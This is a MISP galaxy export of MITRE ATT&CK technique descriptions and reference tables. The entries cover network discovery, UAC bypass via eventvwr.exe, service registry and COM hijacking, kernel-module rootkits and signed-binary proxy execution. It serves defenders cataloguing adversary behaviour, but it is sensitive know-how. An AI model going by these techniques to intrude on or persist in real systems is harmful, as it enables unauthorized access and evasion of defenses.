An adversary who gains access to a system that is part of a cloud-based environment may map out Virtual Private Clouds or Virtual Networks in order to determine what systems and services are connected. The actions performed are likely the same types of discovery techniques depending on the operating system, but the resulting information may include details about the networked cloud environment relevant to the adversary's goals. Cloud providers may have different ways in which their virtual networks operate. (Citation: Amazon AWS VPC Guide) (Citation: Microsoft Azure Virtual Network Overview) (Citation: Google VPC Overview) Similarly, adversaries who gain access to network devices may also perform similar discovery activities to gather information about connected systems and services.

Utilities and commands that acquire this information include [netstat](https://attack.mitre.org/software/S0104), "net use," and "net session" with [Net](https://attack.mitre.org/software/S0039). In Mac and Linux, [netstat](https://attack.mitre.org/software/S0104) and <code>lsof</code> can be used to list current connections. <code>who -a</code> and <code>w</code> can be used to show which users are currently logged in, similar to "net session". Additionally, built-in features native to network devices and [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) may be used (e.g. <code>show ip sockets</code>, <code>show tcp brief</code>). (Citation: US-CERT-TA18-106A)

The tag is: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049"

Table 5067. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1049">https://attack.mitre.org/techniques/T1049</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/vpc/docs/vpc">https://cloud.google.com/vpc/docs/vpc</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html">https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/alerts/TA18-106A">https://www.us-cert.gov/ncas/alerts/TA18-106A</a></td>
</tr>
</tbody>
</table>

Use Alternate Authentication Material - T1550

Adversaries may use alternate authentication material, such as password hashes, Kerberos tickets, and application access tokens, in order to move laterally within an environment and bypass normal system access controls.

Authentication processes generally require a valid identity (e.g., username) along with one or more authentication factors (e.g., password, pin, physical smart card, token generator, etc.). Alternate authentication material is legitimately generated by systems after a user or application successfully authenticates by providing a valid identity and the required authentication factor(s). Alternate authentication material may also be generated during the identity creation process. (Citation: NIST Authentication) (Citation: NIST MFA)

Caching alternate authentication material allows the system to verify an identity has successfully authenticated without asking the user to reenter authentication factor(s). Because the alternate authentication must be maintained by the system—either in memory or on disk—it may be at risk of being stolen through [Credential Access](https://attack.mitre.org/tactics/TA0006) techniques. By
stealing alternate authentication material, adversaries are able to bypass system access controls and authenticate to systems without knowing the plaintext password or any additional authentication factors.

The tag is: `misp-galaxy:mitre-attack-pattern="Use Alternate Authentication Material - T1550"`

**Service Registry Permissions Weakness - T1058**

Windows stores local service configuration information in the Registry under `<code>HKLM\SYSTEM\CurrentControlSet\Services</code>`. The information stored under a service’s Registry keys can be manipulated to modify a service’s execution parameters through tools such as the service controller, `sc.exe`, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service `binPath/ImagePath` to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as `<code>FailureCommand</code>`) that may be executed in an elevated context anytime the service fails or is intentionally corrupted. (Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)

The tag is: `misp-galaxy:mitre-attack-pattern="Service Registry Permissions Weakness - T1058"`

**Service Registry Permissions Weakness - T1058** has relationships with:

Command and Scripting Interpreter - T1059

Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

There are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).

Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)

The tag is: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"`

### Table 5070. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1059">https://attack.mitre.org/techniques/T1059</a></td>
</tr>
</tbody>
</table>

Gather Victim Network Information - T1590

Adversaries may gather information about the victim’s networks that can be used during targeting. Information about networks may include a variety of details, including administrative data (ex: IP
ranges, domain names, etc.) as well as specifics regarding its topology and operations.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about networks may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).

The tag is: *misp-galaxy:mitre-attack-pattern="Gather Victim Network Information - T1590"

### Table 5071. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1590">https://attack.mitre.org/techniques/T1590</a></td>
</tr>
<tr>
<td><a href="https://dnsdumpster.com/">https://dnsdumpster.com/</a></td>
</tr>
<tr>
<td><a href="https://www.circl.lu/services/passive-dns/">https://www.circl.lu/services/passive-dns/</a></td>
</tr>
<tr>
<td><a href="https://www.whois.net/">https://www.whois.net/</a></td>
</tr>
</tbody>
</table>

## Indicator Removal from Tools - T1066

If a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target’s defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use [Software Packing](https://attack.mitre.org/techniques/T1045) or otherwise modify the file so it has a different signature, and then re-use the malware.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1066"

### View relationships graph

Indicator Removal from Tools - T1066 has relationships with:

- revoked-by: *misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"

### Table 5072. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Exploitation for Privilege Escalation - T1068

Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.

When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.

Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD). (Citation: ESET InvisiMole June 2020) (Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer] (https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer] (https://attack.mitre.org/techniques/T1570).

The tag is: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"

Table 5073. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1068">https://attack.mitre.org/techniques/T1068</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/acidbox-rare-malware/">https://unit42.paloaltonetworks.com/acidbox-rare-malware/</a></td>
</tr>
</tbody>
</table>

Bypass User Account Control - T1088

Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing...
them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.

Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- `<code>eventvwr.exe</code>` can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit)

Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)

The tag is: `misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088"

View relationships graph

Bypass User Account Control - T1088 has relationships with:


Table 5074. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://pen-testing.sans.org/blog/pen-testing/2013/08/08/pexec-uac-bypass">http://pen-testing.sans.org/blog/pen-testing/2013/08/08/pexec-uac-bypass</a></td>
</tr>
<tr>
<td><a href="http://www.pretentiousname.com/misc/win7_uac_whitelist2.html">http://www.pretentiousname.com/misc/win7_uac_whitelist2.html</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1088">https://attack.mitre.org/techniques/T1088</a></td>
</tr>
<tr>
<td><a href="https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware">https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/">https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/</a></td>
</tr>
<tr>
<td><a href="https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/">https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/</a></td>
</tr>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
</tbody>
</table>
Exploitation for Defense Evasion - T1211

Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them.

Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.

There have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw)

The tag is: `misp-galaxy:mitre-attack-pattern="Exploitation for Defense Evasion - T1211"`

### Table 5075. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1211">https://attack.mitre.org/techniques/T1211</a></td>
</tr>
<tr>
<td><a href="https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/">https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/</a></td>
</tr>
</tbody>
</table>

Extra Window Memory Injection - T1181

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)
Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.

Execution granted through EWM injection may take place in the address space of a separate live process. Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process’s memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. (Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

The tag is: `misp-galaxy:mitre-attack-pattern="Extra Window Memory Injection - T1181"`

**View relationships graph**

Extra Window Memory Injection - T1181 has relationships with:


**Table 5076. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1181">https://attack.mitre.org/techniques/T1181</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/">https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/</a></td>
</tr>
</tbody>
</table>

**Exploitation for Credential Access - T1212**

Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.
Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is MS14-068, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions.(Citation: Technet MS14-068)(Citation: ADSecurity Detecting Forged Tickets) Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges.(Citation: Bugcrowd Replay Attack)(Citation: Comparitech Replay Attack)(Citation: Microsoft Midnight Blizzard Replay Attack)

Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal.(Citation: Storm-0558 techniques for unauthorized email access)

Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.

The tag is: misp-galaxy:mitre-attack-pattern="Exploitation for Credential Access - T1212"

Table 5077. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://adsecurity.org/?p=1515">https://adsecurity.org/?p=1515</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1212">https://attack.mitre.org/techniques/T1212</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/MsftSecIntel/status/1671579359994343425">https://twitter.com/MsftSecIntel/status/1671579359994343425</a></td>
</tr>
<tr>
<td><a href="https://www.bugcrowd.com/glossary/replay-attack/">https://www.bugcrowd.com/glossary/replay-attack/</a></td>
</tr>
<tr>
<td><a href="https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/">https://www.comparitech.com/blog/information-security/what-is-a-replay-attack/</a></td>
</tr>
</tbody>
</table>

Component Object Model Hijacking - T1122

The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

The tag is: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1122"
Data from Information Repositories - T1213

Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information. Adversaries may also abuse external sharing features to share sensitive documents with recipients outside of the organization.

The following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:

- Policies, procedures, and standards
- Physical / logical network diagrams
- System architecture diagrams
- Technical system documentation
- Testing / development credentials
- Work / project schedules
- Source code snippets
- Links to network shares and other internal resources

Information stored in a repository may vary based on the specific instance or environment. Specific common information repositories include web-based platforms such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) and [Confluence](https://attack.mitre.org/techniques/T1213/001), specific services such as Code Repositories, IaaS databases, enterprise databases, and other storage infrastructure such as SQL Server.

The tag is: `misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213"`
System Network Connections Discovery - T1421

Adversaries may attempt to get a listing of network connections to or from the compromised device they are currently accessing or from remote systems by querying for information over the network.

This is typically accomplished by utilizing device APIs to collect information about nearby networks, such as Wi-Fi, Bluetooth, and cellular tower connections. On Android, this can be done by querying the respective APIs:

- **WifiInfo** for information about the current Wi-Fi connection, as well as nearby Wi-Fi networks. Querying the WifiInfo API requires the application to hold the `ACCESS_FINE_LOCATION` permission.

- **BluetoothAdapter** for information about Bluetooth devices, which also requires the application to hold several permissions granted by the user at runtime.

- For Android versions prior to Q, applications can use the `TelephonyManager.getNeighboringCellInfo()` method. For Q and later, applications can use the `TelephonyManager.getAllCellInfo()` method. Both methods require the application hold the `ACCESS_FINE_LOCATION` permission.

The tag is: `misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1421"`

Table 5080. Table References

Links

Kernel Modules and Extensions - T1215

Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)
Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through <code>kextload</code> and <code>kextunload</code> commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)

The tag is: <code>misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1215"</code>

**Build Image on Host - T1612**

Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote <code>build</code> request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it. (Citation: Docker Build Image)
An adversary may take advantage of that `<code>build</code>` API to build a custom image on the host that includes malware downloaded from their C2 server, and then they may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image. (Citation: Aqua Build Images on Hosts) (Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it’s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment.

The tag is: `misp-galaxy:mitre-attack-pattern="Build Image on Host - T1612"`

### Network Share Connection Removal - T1126

Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the `<code>net use \system\share /delete</code>` command. (Citation: Technet Net Use)

The tag is: `misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1126"`

### View relationships graph

Network Share Connection Removal - T1126 has relationships with:

- revoked-by: `misp-galaxy:mitre-attack-pattern="Network Share Connection Removal - T1070.005"` with estimative-language:likelihood-probability="almost-certain"
System Script Proxy Execution - T1216

Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.

The tag is: *misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216"

Table 5084. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1216">https://attack.mitre.org/techniques/T1216</a></td>
</tr>
<tr>
<td><a href="https://github.com/LOLBAS-Project/LOLBAS#criteria">https://github.com/LOLBAS-Project/LOLBAS#criteria</a></td>
</tr>
<tr>
<td><a href="https://github.com/api0cradle/UltimateAppLockerByPassList">https://github.com/api0cradle/UltimateAppLockerByPassList</a></td>
</tr>
</tbody>
</table>

System Binary Proxy Execution - T1218

Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system. Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.

Similarly, on Linux systems adversaries may abuse trusted binaries such as `<code>split</code>` to proxy execution of malicious commands. 

The tag is: *misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"

Table 5085. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218">https://attack.mitre.org/techniques/T1218</a></td>
</tr>
<tr>
<td><a href="https://github.com/LOLBAS-Project/LOLBAS#criteria">https://github.com/LOLBAS-Project/LOLBAS#criteria</a></td>
</tr>
<tr>
<td><a href="https://gtfobins.github.io/gtfobins/split/">https://gtfobins.github.io/gtfobins/split/</a></td>
</tr>
</tbody>
</table>

Build social network persona - T1341

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1341).
For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)

The tag is: `misp-galaxy:mitre-attack-pattern="Build social network persona - T1341"`

### Remote access tool development - T1351

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1351).

A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)

The tag is: `misp-galaxy:mitre-attack-pattern="Remote access tool development - T1351"`

### Container and Resource Discovery - T1613

Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.

These resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs. (Citation: Docker API) (Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment's configuration, which services are available, and what cloud provider the victim may be utilizing.
The discovery of these resources may inform an adversary's next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution.

The tag is: `misp-galaxy:mitre-attack-pattern="Container and Resource Discovery - T1613"`

### Secure and protect infrastructure - T1317

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1317).

An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)

The tag is: `misp-galaxy:mitre-attack-pattern="Secure and protect infrastructure - T1317"`

### Obfuscate or encrypt code - T1319

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1319).

Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)

The tag is: `misp-galaxy:mitre-attack-pattern="Obfuscate or encrypt code - T1319"`

---

**Table 5088. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1613">https://attack.mitre.org/techniques/T1613</a></td>
</tr>
<tr>
<td><a href="https://docs.docker.com/engine/api/v1.41/">https://docs.docker.com/engine/api/v1.41/</a></td>
</tr>
<tr>
<td><a href="https://kubernetes.io/docs/concepts/overview/kubernetes-api/">https://kubernetes.io/docs/concepts/overview/kubernetes-api/</a></td>
</tr>
</tbody>
</table>

**Table 5089. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1317">https://attack.mitre.org/techniques/T1317</a></td>
</tr>
</tbody>
</table>

**Table 5090. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1319">https://attack.mitre.org/techniques/T1319</a></td>
</tr>
</tbody>
</table>
Elevated Execution with Prompt - T1514

Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials. The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms. This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code. This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.

The tag is: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1514"

View relationships graph

Elevated Execution with Prompt - T1514 has relationships with:

- revoked-by: misp-galaxy:mitre-attack-pattern="Elevated Execution with Prompt - T1548.004" with estimative-language:likelihood-probability="almost-certain"

Table 5091. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1514">https://attack.mitre.org/techniques/T1514</a></td>
</tr>
<tr>
<td><a href="https://objective-see.com/blog/blog_0x2A.html">https://objective-see.com/blog/blog_0x2A.html</a></td>
</tr>
</tbody>
</table>

Data Encrypted for Impact - T1471

An adversary may encrypt files stored on a mobile device to prevent the user from accessing them. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.
Hidden Files and Directories - T1158

To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (\texttt{dir /a}) for Windows and \texttt{ls –a} for Linux and macOS).

